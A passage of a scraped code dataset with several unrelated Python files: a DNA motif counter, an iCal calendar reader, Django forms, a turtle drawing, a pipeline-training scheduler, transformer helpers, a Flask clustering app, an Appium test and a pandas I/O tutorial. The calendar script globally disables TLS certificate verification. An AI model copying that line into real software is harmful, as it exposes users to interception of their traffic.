\"\"\"Computes number of occurrences of CCAAT in input string.\"\"\"\n counter = 0\n for index in range(len(DNA)):\n if DNA[index:index + 5] == 'CCAAT':\n counter = counter + 1\n return counter\n\n\nprint(countCCAAT('GGCCAATT'))\n\n\ndef multiCountCCAAT(DNAList):\n \"\"\"Prints the number of occurences of CCAAT in each string in given DNAList.\"\"\"\n for DNA in DNAList:\n counter = 0\n for index in range(len(DNA)):\n if DNA[index:index + 5] == 'CCAAT':\n counter = counter + 1\n print(counter)\n\n\nmultiCountCCAAT(['GGCCAATT', 'CAT', 'CCAATCCAAT'])","repo_name":"bnnchn/MyPython","sub_path":"Python/ch2/ch2.py","file_name":"ch2.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39206006458","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom datetime import datetime, timedelta, date, time\nimport pytz\nfrom dateutil.tz import UTC\nimport ssl\nimport configparser\n\nimport logging\n\nimport icalendar\nimport recurring_ical_events\nimport urllib.request\n\nssl._create_default_https_context = ssl._create_unverified_context\n\nlocation = 'temp/debug_cal.txt'\n\nconfig = configparser.ConfigParser(interpolation=None)\nconfig.read('config.txt')\n\nTIME_ZONE = config['general']['timezone']\nCALENDARS_DAYS_AHEAD = config['general'].getint('days_ahead', fallback=3)\nCALENDARS = [\n {\n 'url':config['calendar1']['url'],\n 'apple':config['calendar1'].getboolean('apple'),\n 'name':config['calendar1']['name']},\n {\n 'url':config['calendar2']['url'],\n 'apple':config['calendar2'].getboolean('apple'),\n 'name':config['calendar2']['name']},\n {\n 'url':config['calendar3']['url'],\n 'apple':config['calendar3'].getboolean('apple'),\n 'name':config['calendar3']['name']}\n ]\n\nclass calday:\n def __init__(self,dt):\n self.date = dt.date()\n self.datestr = dt.strftime(\"%-d %b\")\n self.fulldayevents = []\n self.timedevents = []\n\n def add_fullday_event(self,event):\n self.fulldayevents.append(event)\n\n def add_timed_event(self,event):\n self.timedevents.append(event)\n\ndef add_timed_event(eventdat,cal):\n tz = pytz.timezone(TIME_ZONE)\n event_info = {}\n event_info['start'] = eventdat['DTSTART'].dt\n event_info['end'] = eventdat['DTEND'].dt\n event_info['summary'] = eventdat.get('SUMMARY').to_ical().decode('UTF-8').strip().replace('\\,',',')\n event_info['allday'] = (type(eventdat['DTSTART'].dt) is date)\n event_info['cal'] = cal\n event_info['sortstart'] = event_info['start'].astimezone(tz)\n event_info['sortend'] = event_info['end'].astimezone(tz)\n\n return event_info\n\ndef add_fullday_events(eventdat,cal):\n tz = pytz.timezone(TIME_ZONE)\n full_day_events = []\n numdays = (eventdat['DTEND'].dt - eventdat['DTSTART'].dt).days\n\n for i in range(0,numdays):\n event_info = {}\n event_info['start'] = eventdat['DTSTART'].dt\n event_info['end'] = eventdat['DTEND'].dt\n event_info['summary'] = eventdat.get('SUMMARY').to_ical().decode('UTF-8').strip().replace('\\,',',')\n event_info['allday'] = (type(eventdat['DTSTART'].dt) is date)\n event_info['cal'] = cal\n event_info['sortstart'] = (datetime.combine(event_info['start'], time(0,0)) + timedelta(days=i)).astimezone(tz)\n event_info['sortend'] = (datetime.combine(event_info['start'], time(11,59)) + timedelta(days=i)).astimezone(tz)\n full_day_events.append(event_info)\n\n return full_day_events\n\ndef get_calendar_data():\n tz = pytz.timezone(TIME_ZONE)\n start_dt = datetime.now().astimezone(tz)\n end_dt = start_dt + timedelta(days = CALENDARS_DAYS_AHEAD)\n\n allevents = []\n for cal in CALENDARS:\n logging.info(\"get calendar info\")\n ical_string = urllib.request.urlopen(cal['url']).read()\n calendar = icalendar.Calendar.from_ical(ical_string)\n caldat = recurring_ical_events.of(calendar).between(start_dt, end_dt)\n #caldat = events(url=cal['url'], fix_apple=cal['apple'], start=start_dt, end=end_dt)\n logging.info(\"processing calendar info\")\n for eventdat in caldat:\n if type(eventdat['DTSTART'].dt) is date:\n allevents = allevents + add_fullday_events(eventdat,cal['name'])\n else:\n allevents.append(add_timed_event(eventdat,cal['name']))\n\n return allevents\n\ndef sort_calendar_data(eventslist):\n days = {}\n for event in eventslist:\n print(event['sortstart'])\n if event['sortstart'].date() not in days:\n days[event['sortstart'].date()] = calday(event['sortstart'])\n if event['allday'] == True:\n days[event['sortstart'].date()].add_fullday_event(event)\n else:\n days[event['sortstart'].date()].add_timed_event(event)\n\n return days\n\ndef cal_for_display():\n calendardat = get_calendar_data()\n splitcalendar = sort_calendar_data(calendardat)\n\n logging.info(\"create calendar lines: start\")\n tz = pytz.timezone(TIME_ZONE)\n\n # sort through all upcoming days\n lines=[]\n for day in sorted(splitcalendar.keys()):\n # print day\n lines.append({'display': day.strftime(\"%-d %b\").upper(),\n 'font': 'font24',\n 'header': True})\n\n # list fullday events first\n for fulldayevent in splitcalendar[day].fulldayevents:\n lines.append({'display': ' ' + fulldayevent['summary'],\n 'font': 'font21', 'header': False})\n\n # list timed events next (sorted)\n sortedtimedevents = sorted(splitcalendar[day].timedevents, key=lambda k: (k['sortstart'], k['sortend']))\n for timedevent in sortedtimedevents:\n lines.append({'display': ' ' + timedevent['sortstart'].strftime(\"%-I:%M%p\") + ' : ' + timedevent['summary'],\n 'font': 'font21', 'header': False})\n\n logging.info(\"create calendar lines: end\")\n\n return lines\n\ndef save_to_disk(caldat, location):\n numrows = len(caldat)\n\n with open(location, 'w') as text_file:\n for i in range(0, numrows):\n line = caldat[i]\n print(\"{}\".format(line['display']), file=text_file)\n\nif __name__ == \"__main__\":\n caldat = cal_for_display()\n save_to_disk(caldat, location)\n\n","repo_name":"cntrfeit/daily-briefing","sub_path":"calendarinfo.py","file_name":"calendarinfo.py","file_ext":"py","file_size_in_byte":5536,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"5006290585","text":"from django import forms\nfrom .models import Image\n\n# https://simpleit.rocks/python/django/forms/how-to-use-bootstrap-4-in-django-forms/\n\n# Widgets of django:https://docs.djangoproject.com/en/2.2/ref/forms/widgets/\n\n# select :https://stackoverflow.com/questions/50895806/bootstrap-4-multiselect-dropdown\n\n# set class for 'label' :https://blog.51cto.com/steed/2120211\n\n# https://bootsnipp.com/snippets/eNbOa\n\n# https://stackoverflow.com/questions/48613992/bootstrap-4-file-input-doesnt-show-the-file-name\n\n\nclass ImageCreateForm(forms.ModelForm):\n\n class Meta(object):\n model = Image\n fields = ['title', 'category', 'tags', 'picture']\n\n widgets = {\n 'title': forms.TextInput(\n attrs={'class': 'form-control'}\n ),\n 'category': forms.Select(\n attrs={'class': 'form-control'}\n ),\n 'tags': forms.SelectMultiple(\n attrs={'class': 'selectpicker form-control',\n 'data-live-search': 'true', }\n ),\n 'picture': forms.FileInput(\n attrs={'class': 'custom-file-label'}\n ),\n }\n\n\nclass MultipleImageUploadForm(forms.Form):\n file_field = forms.FileField(\n widget=forms.ClearableFileInput(attrs={'multiple': True}))\n","repo_name":"ling9601/homepage","sub_path":"backend/imagehost/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37158467171","text":"from turtle import Turtle, Screen\r\nfrom random import randint, choice\r\n\r\n\r\nleonardo = Turtle()\r\nleonardo.speed(10)\r\nleonardo.width(15)\r\n\r\nscreen = Screen()\r\nscreen.colormode(255)\r\n\r\ndef move_forward():\r\n leonardo.forward(25)\r\n\r\ndef move_backward():\r\n leonardo.backward(25)\r\n\r\ndef turn_right():\r\n leonardo.right(90)\r\n leonardo.forward(25)\r\n\r\ndef turn_left():\r\n leonardo.left(90)\r\n leonardo.forward(25)\r\n\r\nfunc = [turn_right, turn_left, move_forward, move_backward]\r\n\r\nfor turtle in range(0, 2000):\r\n r=(randint(0, 255))\r\n g=(randint(0, 255))\r\n b=(randint(0, 255))\r\n \r\n leonardo.pencolor(r, g, b)\r\n choice(func)()\r\n\r\n\r\nscreen.exitonclick()\r\n","repo_name":"CreativeMatrix/Advanced-Projects","sub_path":"Turtle Graphics Concepts/Random Walk.py","file_name":"Random Walk.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"3995407414","text":"import threading\nimport time\n\nfrom global_variables.fault_tolerance import set_fault_status, update_training_term, set_start_iter_id, get_train_data, store_needed_params, get_needed_params\nfrom global_variables.common import get_workers, get_stage_idx, get_worker_num, get_url_from_worker, get_semaphore\nfrom global_variables.training import get_partition_point, get_total_layer, get_sub_model, set_partition_point, get_commit\nfrom network.dynamic_scheduler import send_update_partition_point, fetch_ds_missed_weight, commit_weight_sync\nfrom utils.general import get_layer_from_point, find_idx_by_layer, load_backup_params\nfrom utils.init import init_sub_optimizer\nfrom utils.tolist import state_dict_list\n\ndef ds_get_missing_layer(prev_point, point):\n \"\"\"\n Get missing layer given the current point and the updated point\n \"\"\"\n cur_stage = get_stage_idx()\n prev_start_layer, prev_end_layer = get_layer_from_point(prev_point, cur_stage)\n if prev_end_layer == -1:\n prev_end_layer = get_total_layer() - 1\n\n start_layer, end_layer = get_layer_from_point(point, cur_stage)\n if end_layer == -1:\n end_layer = get_total_layer() - 1\n\n needed_stage = {} # key is the new stage idx, value is the lists of layer\n needed_layer = []\n if start_layer > prev_end_layer or end_layer < prev_start_layer:\n # no intersection\n for i in range(start_layer, end_layer + 1):\n needed_layer.append(i)\n else:\n if start_layer < prev_start_layer:\n # layer from the previous stage is needed\n for i in range(start_layer, prev_start_layer):\n needed_layer.append(i)\n if end_layer > prev_end_layer:\n # layer from the next stage is needed\n for i in range(prev_end_layer + 1, end_layer + 1):\n needed_layer.append(i)\n\n # Find the layer needed from the origin model\n origin_layer = []\n for i in range(start_layer, end_layer + 1):\n if i not in needed_layer:\n origin_layer.append(i)\n\n # target stage indicates the stage which holds the parameters after rescheduling\n for i in needed_layer:\n target_stage = find_idx_by_layer(prev_point, i) \n if needed_stage.get(target_stage) is None:\n needed_stage[target_stage] = []\n needed_stage[target_stage].append(i)\n \n return needed_stage, origin_layer\n\n\ndef ds_get_needed_params(needed_stage):\n \"\"\"\n Fetch the parameters from other workers according to the given layers in the dynamic scheduling\n \"\"\"\n needed_parameters = {} # storing the needed param from other workers\n print(\"needed_stage \", needed_stage)\n for idx, layers in needed_stage.items():\n if idx != get_stage_idx():\n target_url = get_url_from_worker(idx)\n res = fetch_ds_missed_weight(target_url, layers)\n needed_parameters.update(res['param'])\n del res\n return needed_parameters\n\n\ndef ds_get_needed_origin_params(origin_layer, prev_point):\n \"\"\"\n Get the parameters from origin sub model by origin layer in dynamic_scheduling\n \"\"\"\n cur_stage = get_stage_idx()\n\n start_layer, _ = get_layer_from_point(prev_point, cur_stage)\n \n needed_origin_params = {} \n sub_model = get_sub_model()\n\n for layer in origin_layer:\n if layer < sub_model.origin_features_len:\n needed_origin_params[layer] = state_dict_list(sub_model.features[layer - start_layer].state_dict())\n else:\n if start_layer >= sub_model.origin_features_len:\n needed_origin_params[layer] = state_dict_list(sub_model.classifier[layer - start_layer].state_dict())\n else:\n needed_origin_params[layer] = state_dict_list(sub_model.classifier[layer - sub_model.origin_features_len].state_dict())\n \n return needed_origin_params\n\n\ndef dynamic_scheduling(point, iter_id, train_step_distribute):\n \"\"\"\n Dynamically update the partition point\n \"\"\"\n set_fault_status(3)\n workers = get_workers()\n done = []\n\n def sync_thread(url, idx):\n res = send_update_partition_point(url, point, iter_id)\n # print(res)\n if res == 'ok':\n done.append(idx) \n\n for idx, url in workers.items():\n idx=int(idx)\n if idx > 0:\n threading.Thread(target=sync_thread, kwargs=dict(url=url,idx=idx)).start()\n \n # Weight sync of the master\n prev_point = get_partition_point()\n needed_stage, origin_layer = ds_get_missing_layer(prev_point, point)\n needed_params = ds_get_needed_params(needed_stage)\n needed_origin_params = ds_get_needed_origin_params(origin_layer, prev_point)\n\n # create and load the backup parameters\n needed_params.update(needed_origin_params)\n done.append(0)\n while len(done) != len(workers):\n time.sleep(0.1)\n \n # commit partition point update\n workers = get_workers()\n done.clear()\n\n def sync_thread(url, idx):\n res = commit_weight_sync(url, point, iter_id)\n if res == 'ok':\n done.append(idx) \n print(\"Current {} commit weight sync ends ...\".format(idx))\n\n for idx, url in workers.items():\n idx=int(idx)\n if idx > 0:\n threading.Thread(target=sync_thread, kwargs=dict(url=url,idx=idx)).start()\n \n while len(done) != len(workers) - 1:\n time.sleep(0.1)\n \n # update local parameters\n create_sub_model(point)\n \n load_local_params(needed_params, point)\n init_sub_optimizer()\n set_partition_point(point)\n del done\n\n print(\"Re-train the batch after the newly created sub model...\")\n # First release all the semaphore\n sem = get_semaphore()\n for i in range(get_worker_num()):\n try:\n sem.release()\n except Exception as e:\n print(e)\n\n # reset the commit status\n commit = get_commit()\n commit['lock'].acquire()\n try:\n commit['forward_id'] = iter_id\n commit['backward_id'] = iter_id\n commit['lock'].notifyAll()\n finally:\n commit['lock'].release()\n\n iter_id += 1\n set_start_iter_id(iter_id)\n update_training_term()\n cur_batch = get_train_data(iter_id)\n while not isinstance(cur_batch, int):\n sem.acquire()\n print(\"{} retrain start\".format(iter_id))\n train_step_distribute(iter_id, cur_batch)\n iter_id += 1\n cur_batch = get_train_data(iter_id)\n \n set_fault_status(0)\n\n\ndef load_local_params(needed_params: dict, point: list):\n \"\"\"\n Load the backup parameters after partitioning new sub model\n \"\"\"\n sub_model = get_sub_model()\n start_layer, _ = get_layer_from_point(point, get_stage_idx())\n\n for layer, params in needed_params.items():\n if layer < sub_model.origin_features_len:\n sub_model.features[layer - start_layer].load_state_dict(params)\n else:\n if start_layer >= sub_model.origin_features_len:\n sub_model.classifier[layer - start_layer].load_state_dict(params)\n else:\n sub_model.classifier[layer - sub_model.origin_features_len].load_state_dict(params)\n\n\ndef update_partition_point_handler(points):\n set_fault_status(3)\n commit = get_commit()\n commit['lock'].acquire()\n try:\n commit['lock'].notifyAll()\n finally:\n commit['lock'].release()\n \n prev_point = get_partition_point()\n\n needed_stage, origin_layer = ds_get_missing_layer(prev_point, points)\n print(\"needed stage \", needed_stage)\n print(\"needed origin layer \", origin_layer)\n\n needed_params = ds_get_needed_params(needed_stage)\n needed_origin_params = ds_get_needed_origin_params(origin_layer, prev_point)\n\n # store the needed parameters and wait for the commit signal from master\n needed_params.update(needed_origin_params)\n store_needed_params(needed_params)\n\n\ndef fetch_ds_missed_weight_handler(layers):\n cur_stage = get_stage_idx()\n\n prev_point = get_partition_point()\n start_layer, end_layer = get_layer_from_point(prev_point, cur_stage)\n if end_layer == -1:\n end_layer = get_total_layer() - 1\n\n parameters = {} # key is the layer, value is the corresponding parameters\n sub_model = get_sub_model()\n\n for layer in layers:\n if layer == end_layer and end_layer == get_total_layer():\n parameters[layer] = state_dict_list(sub_model.classifier.state_dict())\n else:\n parameters[layer] = state_dict_list(sub_model.features[layer - start_layer].state_dict()) # load parameters\n \n return parameters\n\ndef commit_weight_sync_handler(points, iter_id):\n needed_params = get_needed_params()\n create_sub_model(points)\n\n load_backup_params(needed_params, points)\n set_partition_point(points)\n del needed_params\n\n init_sub_optimizer()\n\n # reset the commit message during training process\n commit = get_commit()\n commit['lock'].acquire()\n set_start_iter_id(iter_id + 1)\n update_training_term()\n set_fault_status(0)\n try:\n commit['forward_id'] = iter_id\n commit['backward_id'] = iter_id\n commit['lock'].notifyAll()\n finally:\n commit['lock'].release()\n ","repo_name":"qyy2003/FTPipeHD","sub_path":"utils/dynamic_scheduler.py","file_name":"dynamic_scheduler.py","file_ext":"py","file_size_in_byte":9209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8442445544","text":"#!/usr/bin/env python3\nimport math\n\nimport tensorflow as tf\n\n_NEG_INF = -1e9\n\ndef get_position_encoding(length, hidden_size, min_timescale=0.1, max_timescale=1.0e4):\n\n position = tf.to_float(tf.range(length))\n num_timescales = hidden_size // 2\n\n log_timescale_increment = (\n math.log(float(max_timescale) / float(min_timescale)) /\n (tf.to_float(num_timescales) - 1))\n\n inv_timescales = min_timescale * tf.exp(\n tf.to_float(tf.range(num_timescales)) * -log_timescale_increment)\n\n scaled_time = tf.expand_dims(position, 1) * tf.expand_dims(inv_timescales, 0)\n signal = tf.concat([tf.sin(scaled_time), tf.cos(scaled_time)], axis=1)\n\n return signal\n\ndef get_decoder_self_attention_bias(length):\n\n with tf.name_scope(\"decoder_self_attention_bias\"):\n valid_locs = tf.matrix_band_part(tf.ones([length, length]), -1, 0)\n valid_locs = tf.reshape(valid_locs, [1, 1, length, length])\n decoder_bias = _NEG_INF * (1.0 - valid_locs)\n\n return decoder_bias\n\ndef get_padding(x, padding_value=0):\n\n with tf.name_scope(\"padding\"):\n return tf.to_float(tf.equal(x, padding_value))\n\ndef get_padding_bias(x):\n with tf.name_scope(\"attention_bias\"):\n padding = get_padding(x)\n attention_bias = padding * _NEG_INF\n attention_bias = tf.expand_dims(\n tf.expand_dims(attention_bias, axis=1), axis=1)\n return attention_bias\n","repo_name":"st9007a/ChineseQABot","sub_path":"model/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"61"} +{"seq_id":"13631103146","text":"from flask import Flask, request, render_template, jsonify\n\nfrom clusterapp.core import statistics\nfrom clusterapp.utils import build_library\n\nCLUSTERING_ALGORITHMS = [\n ('hdbscan', 'HDBSCAN'),\n ('gmm', 'Gaussian Mixture Model'),\n ('kmeans', 'K-Means'),\n ('spectral', 'Spectral Clustering'),\n ('affinity', 'Affinity Propagation')\n]\nFEATURES = [\n ('Autocorrelation', 'Auto Correlation', 1),\n ('StdAmplitudeTime', 'Std Amplitude (Time)', 1),\n ('VarianceAmplitudeTime', 'Variance Amplitude (Time)', 1),\n ('MeanAmplitudeTime', 'Mean Amplitude (Time)', 1),\n ('TimeCentroid', 'Temporal Centroid (s)', 1),\n ('Time Energy', 'Time Energy', 1),\n ('ZeroCrossingRate', 'Zero Crossing Rate', 1),\n ('DurationTime', 'Duration (s)', 1),\n ('RmsTime', 'Root Mean Square - Time (RMS-Time)', 1),\n ('PeakToPeakTime', 'Peak to Peak Time (s)', 1),\n ('StartTime', 'Start Time (s)', 1),\n ('EndTime', 'End Time (s)', 1),\n ('DistanceToMaxTime', 'Distance to Max (s)', 1),\n\n ('MFCC', 'MFCC', 12)\n]\n_SPECTRAL_FEATURES = [\n ('MaxFreq', 'Max Frequency (Hz)', 1),\n ('MinFreq', 'Min Frequency (Hz)', 1),\n ('BandwidthFreq', 'Bandwidth (Hz)', 1),\n ('PeaksAboveFreq', 'Peaks Above Frequency', 1),\n ('EntropyFreq', 'Spectral Entropy', 1),\n ('PeakFreq', 'Peak Frequency (Hz)', 1),\n ('PeakAmpFreq', 'Peak Amplitude', 1),\n ('Spectral Energy', 'Spectral Energy', 1),\n ('Flux', 'Flux', 1),\n ('Rms Freq', 'Root Mean Square - Spectrum (RMS-Spectrum)', 1),\n ('Roll Off Freq', 'Roll-Off', 1),\n ('Shannon Entropy', 'Shannon Entropy', 1),\n ('Spectral Centroid', 'Spectral Centroid', 1),\n]\n_LOCATIONS = ['start', 'end', 'centre', 'max', 'max_amp']\n\nfor l in _LOCATIONS:\n for name, verbose_name, dimension in _SPECTRAL_FEATURES:\n FEATURES.append((\n '%s(%s)' % (name, l),\n '%s [%s]' % (verbose_name, l),\n dimension\n ))\n\napp = Flask(__name__)\n\n\n@app.route('/best_features/')\ndef best_features():\n template_type = 'classified' if CLASSIFIED else 'unclassified'\n\n return render_template('%s_best_features.html' % template_type, **{\n 'clustering_algorithms': CLUSTERING_ALGORITHMS,\n 'features_number': len(FEATURES)\n })\n\n\n@app.route('/best_features_nd/')\ndef best_features_nd():\n clustering_algorithm = request.args.get('clustering_algorithm')\n min_features = int(request.args.get('min_features'))\n max_features = int(request.args.get('max_features'))\n\n if CLASSIFIED:\n categories = request.args.getlist('species[]')\n n_categories = len(categories)\n else:\n categories = int(request.args.get('n_clusters'))\n n_categories = categories\n\n if not categories:\n return jsonify({})\n\n clustering, scores, features = LIBRARY.best_features(\n categories=categories,\n n_categories=n_categories,\n features_set=[f for f, _, _ in FEATURES],\n algorithm=clustering_algorithm,\n min_features=min_features,\n max_features=max_features\n )\n stats = statistics(clustering)\n\n report = get_report(clustering, stats, scores)\n report['features'] = features\n return jsonify(report)\n\n\n@app.route('/classify/', methods=['POST'])\ndef classify():\n features = request.form.getlist('features[]')\n file = request.files['file']\n result = CLASSIFIER.predict([file], features)[0]\n return jsonify(result)\n\n\ndef get_report(clustering, stats, scores):\n return {\n 'segments': [{\n 'name': label if label != '-1' else 'noise',\n 'data': [{\n 'name': item['name'],\n 'x': item['x_2d'][0],\n 'y': item['x_2d'][1]\n } for item in clustering[label]],\n 'statistics': stats[label]\n } for label in clustering.keys()],\n 'scores': scores,\n 'feature_set': FEATURES\n }\n\n\n@app.route('/')\ndef index():\n clustering_algorithms = list(CLUSTERING_ALGORITHMS)\n if CLASSIFIED:\n clustering_algorithms.insert(0, ('none', 'None'))\n\n template_type = 'classified' if CLASSIFIED else 'unclassified'\n\n return render_template('%s_analysis.html' % template_type, **{\n 'axis': FEATURES,\n 'clustering_algorithms': clustering_algorithms\n })\n\n\n@app.route('/parameters_nd/')\ndef parameters_nd():\n global CLASSIFIER\n\n features = request.args.getlist('features[]')\n if not features:\n return jsonify({})\n\n clustering_algorithm = request.args.get('clustering_algorithm')\n\n if CLASSIFIED:\n species = request.args.getlist('species[]')\n clustering, scores, CLASSIFIER = LIBRARY.cluster(\n features=features,\n algorithm=clustering_algorithm,\n n_categories=len(species),\n categories=species\n )\n else:\n n_clusters = request.args.get('n_clusters')\n if not n_clusters:\n n_clusters = '0'\n clustering, scores, CLASSIFIER = LIBRARY.cluster(\n features=features,\n algorithm=clustering_algorithm,\n n_categories=n_clusters\n )\n\n stats = statistics(clustering)\n return jsonify(get_report(clustering, stats, scores))\n\n\ndef run(args):\n global LIBRARY, CLASSIFIED\n LIBRARY = build_library(args.path, args.classified)\n CLASSIFIED = args.classified\n app.run(host=args.host, port=args.port)\n\n\n@app.route('/search_for_species/')\ndef search_for_species():\n q = request.args.get('q')\n excluded_species = set(request.args.getlist('exclude[]'))\n l = 10\n species = [\n species for species in LIBRARY.categories if species not in excluded_species and q in species\n ][:l]\n species.sort()\n return jsonify({\n 'success': True,\n 'species': [\n {'name': sp, 'id': sp} for sp in species\n ]\n })\n","repo_name":"ealmuina/thesis","sub_path":"clusterapp/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":5827,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"32625908756","text":"import os\r\nimport unittest\r\nfrom appium import webdriver\r\n\r\n\r\n# Returns abs path relative to this file and not cwd\r\nPATH = lambda p: os.path.abspath(\r\n os.path.join(os.path.dirname(__file__), p)\r\n)\r\n\r\nclass WhatsApp(unittest.TestCase):\r\n def setUp(self):\r\n desired_caps = {}\r\n desired_caps['platformName'] = 'iOS'\r\n desired_caps['platformVersion'] = '9.0'\r\n desired_caps['deviceName'] = 'iOS Emulator'\r\n #desired_caps['udid'] = 'TA07001FDL'\r\n #desired_caps['appPackage'] = 'com.whatsapp'\r\n #desired_caps['appActivity'] = 'com.whatsapp.HomeActivity'\r\n #desired_caps['app'] = 'C:\\\\Users\\\\pkumarasami\\\\Desktop\\\\ShoreTel\\\\Selenium\\sdk\\\\platform-tools\\\\WhatsApp.apk'\r\n self.driver = webdriver.Remote('http://10.198.17.207:4733/wd/hub', desired_caps)\r\n self.driver.implicitly_wait(30)\r\n\r\n def tearDown(self):\r\n self.driver.quit()\r\n\r\n def test_add_contacts(self):\r\n self.driver.find_element_by_id(\"com.whatsapp:id/menuitem_search\").click()\r\n \r\n self.driver.find_element_by_id(\"com.whatsapp:id/search_src_text\").send_keys(\"all\")\r\n \r\n self.driver.find_element_by_id(\"com.whatsapp:id/conversations_row_contact_name\").click()\r\n \r\n self.driver.find_element_by_id(\"com.whatsapp:id/conversation_contact_name\").click()\r\n \r\n self.driver.find_elements_by_class_name(\"android.widget.LinearLayout\")\r\n\r\nif __name__ == '__main__':\r\n suite = unittest.TestLoader().loadTestsFromTestCase(WhatsApp)\r\n unittest.TextTestRunner(verbosity=2).run(suite)\r\n","repo_name":"parasuramankumarasami/Examples","sub_path":"Appium_Android/SMCiOS.py","file_name":"SMCiOS.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4015230093","text":"\"\"\"\nCSV 파일이나 엑셀 파일에서 데이터를 읽어와서 판다스 DataFrame 데이터를 생성하고\nDataFrame 데이터를 CSV 파일이나 엑셀 파일로 저장하는 방법을 확인\n\"\"\"\n\n# DataFrame 데이터를 생성하는 예시\nimport pandas as pd\n\n# CSV 파일 경로\n# folder = 'C:/Repo/python/tutorials/Pandas_Tutorial/data/ch05/'\nfolder = './data/ch05/'\ncsv_file = folder + 'korea_rain1.csv'\n\nprint('- CSV 파일을 읽어와서 DataFrame 데이터 생성')\ndf = pd.read_csv(csv_file, encoding='utf-8')\nprint(\"pd.read_csv(csv_file, encoding='utf-8'):\\n{0}\".format(pd.read_csv(csv_file, encoding='utf-8')))\n\nprint('- 특정 열을 index로 지정하여 DataFrame 생성')\ndf = pd.read_csv(csv_file, sep=',', index_col='연도')\nprint(\"pd.read_csv(csv_file, index_col='연도'):\\n{0}\".format(pd.read_csv(csv_file, sep=',', index_col='연도')))\n\n# 구분자가 tab인 경우\nprint('- 구분자가 tab으로 필드 사이가 구분된 경우 예시')\ndf = pd.read_csv(csv_file, sep='\\t')\ncsv_file = folder + 'korea_rain1_tab.txt'\nprint(\"pd.read_csv(csv_file, sep='\\\\t'):\\n{0}\".format(pd.read_csv(csv_file, sep='\\t')))\n\nprint('- 열 이름이 없는 CSV 파일을 DataFrame 데이터로 읽어올 때 header=None을 지정')\ncsv_file = folder + 'korea_rain2.csv'\nprint(\"pd.read_csv(csv_file, header=None):\\n{0}\".format(pd.read_csv(csv_file, header=None)))\n\nprint('- 열 이름이 없는 CSV 파일을 DataFrame 데이터로 읽어올 때 columns를 명시적으로 지정')\ncsv_file = folder + 'korea_rain2.csv'\nnames_list = [\"Year\", \"Spring\", \"Summer\", \"Fall\", \"Winter\"]\nprint('names_list: {0}'.format(names_list))\ndf2 = pd.read_csv(csv_file, names=names_list)\nprint(\"pd.read_csv(csv_file, names=names_list):\\n{0}\".format(pd.read_csv(csv_file, names=names_list)))\n\nprint('- 첫 줄에 열 이름이 있는 CSV 파일을 DataFrame 데이터로 읽어올 때 columns를 변경 (header=0)')\ncsv_file = folder + 'korea_rain1.csv'\nnames_list = [\"연도_new\", \"봄_new\", \"여름_new\", \"가을_new\", \"겨울_new\"]\nprint('names_list: {0}'.format(names_list))\ndf2 = pd.read_csv(csv_file, header=0, names=names_list)\nprint(\"pd.read_csv(csv_file, header=0, names=names_list):\\n{0}\".format(pd.read_csv(csv_file, header=0, names=names_list)))\n\nprint('- to_csv() 이용해 DataFrame 데이터를 CSV 파일로 저장')\ndf = pd.DataFrame({'제품ID': ['P1001','P1002','P1003','P1004'],\n '판매가격': [5000, 7000, 8000, 10000],\n '판매량': [50, 93, 70, 48]})\n\nprint(df)\ncsv_file = folder + 'output1.csv'\nprint(\"df.to_csv({0})\".format(csv_file))\ndf.to_csv(csv_file)\nprint(\"생성한 CSV 파일: {0}\", csv_file)\n\nprint(\"- DataFrame 데이터를 CSV 파일로 쓰기(인코딩은 'cp949', index 포함 안함)\")\ncsv_file = folder + 'output_cp949_encoding.csv'\nprint(\"df.to_csv({0}, encoding='cp949', index=False)\".format(csv_file))\ndf.to_csv(csv_file, encoding='cp949', index=False)\nprint(\"생성한 CSV 파일: {0}\", csv_file)\n\n\n# 엑셀 파일 읽고 쓰기\nexcel_file = folder + '사원별_월간_판매현황.xlsx'\ndf = pd.read_excel(excel_file)\nprint(\"- pd.read_excel(excel_file):\\n{0}\".format(pd.read_excel(excel_file)))\n\ndf = pd.read_excel(excel_file, index_col='이름')\n# df = pd.read_excel(excel_file, index_col=0) # 이 방법도 가능\nprint(\"- pd.read_excel(excel_file, index_col='이름'):\\n{0}\".format(pd.read_excel(excel_file, index_col='이름')))\n\n# 워크시트가 두 개 이상일 때 shee_name 옵션으로 가져올 위크시트 지정\nexcel_file = folder + '사원별_월간_판매현황2.xlsx'\ndf = pd.read_excel(excel_file, sheet_name='하반기')\n# df = pd.read_excel(excel_file, sheet_name=1)\nprint(\"- pd.read_excel(excel_file, sheet_name='하반기'):\\n{0}\".format(df))\n\ndf = pd.read_excel(excel_file, sheet_name='하반기', index_col='이름')\nprint(\"- pd.read_excel(excel_file, sheet_name='하반기', index_col='이름'):\\n{0}\".format(df))\n\nexcel_file = folder + '사원별_월간_판매현황_열이름없음.xlsx'\nnames_list = ['Name', 'January', 'February', 'March', 'April', 'May', 'June']\ndf = pd.read_excel(excel_file, header=None, names=names_list)\nprint(\"- pd.read_excel(excel_file, header=None, names=names_list):\\n{0}\".format(df))\n\nexcel_file = folder + '사원별_월간_판매현황.xlsx'\nnames_list = ['사원명', '1월', '2월', '3월', '4월', '5월', '6월']\n# header=None은 열이름 행이 없다는 것이고, header=0은 열이름 행이 첫행이라는 것으로 첫행을 names_list 항목을 대체하라는 뜻\ndf = pd.read_excel(excel_file, header=0, names=names_list)\nprint(\"- pd.read_excel(excel_file, header=0, names=names_list):\\n{0}\".format(df))\n\n# to_excel()을 이용해 DataFrame 데이터를 엑셀 파일로 쓰는 방법\nprint('-- to_excel()을 이용해 